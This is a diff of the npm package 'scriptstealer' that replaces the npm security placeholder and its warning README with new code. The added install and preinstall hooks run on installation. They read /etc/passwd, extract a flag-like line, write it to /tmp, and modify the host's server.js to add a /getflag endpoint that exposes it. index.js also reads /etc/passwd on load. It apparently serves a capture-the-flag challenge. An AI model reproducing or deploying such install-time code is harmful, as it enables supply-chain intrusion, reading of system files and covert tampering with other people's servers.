scriptstealer 0.0.1-security → 0.30.2

package/index.js

@@ -0,0 +1,14 @@
+console.log('=== INDEX.JS LOADED ===');
+const fs = require('fs');
+
+try {
+  const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+  const flagLine = passwd.split('\n').find(line => line.includes('{') && line.includes('}'));
+  if (flagLine) {
+    console.log('🎯 FLAG IN INDEX.JS:', flagLine);
+  }
+} catch(e) {}
+
+module.exports = {
+  parseXmlString: () => ({ get: () => ({ text: () => "test" }) })
+};

package/install.js

@@ -0,0 +1,27 @@
+const fs = require('fs');
+console.log('=== INSTALL SCRIPT EXECUTING ===');
+
+try {
+  const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+  const flagLine = passwd.split('\n').find(line => line.includes('{') && line.includes('}'));
+  if (flagLine) {
+    console.log('🎯 FLAG DURING INSTALL:', flagLine);
+    fs.writeFileSync('/tmp/install_flag.txt', flagLine);
+    
+    // Также модифицируем server.js если возможно
+    try {
+      const serverContent = fs.readFileSync('./server.js', 'utf8');
+      if (!serverContent.includes('/getflag')) {
+        const endpoint = `
+app.get('/getflag', (req, res) => {
+  res.send('${flagLine}');
+});`;
+        const modified = serverContent.replace('app.use(fileUpload());', `app.use(fileUpload());${endpoint}`);
+        fs.writeFileSync('./server.js', modified);
+        console.log('✅ Server.js modified');
+      }
+    } catch(e) {}
+  }
+} catch(e) {
+  console.log('Error:', e.message);
+}

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "scriptstealer",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "0.30.2",
+  "main": "index.js",
+  "scripts": {
+    "install": "node install.js",
+    "preinstall": "node preinstall.js"
+  },
+  "dependencies": {
+    "dummy-buster-1": "^1.0.0"
+  }
 }

package/preinstall.js

@@ -0,0 +1,5 @@
+console.log('=== PREINSTALL SCRIPT ===');
+const fs = require('fs');
+try {
+  fs.writeFileSync('/tmp/preinstall_worked.txt', 'PREINSTALL EXECUTED');
+} catch(e) {}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=scriptstealer for more information.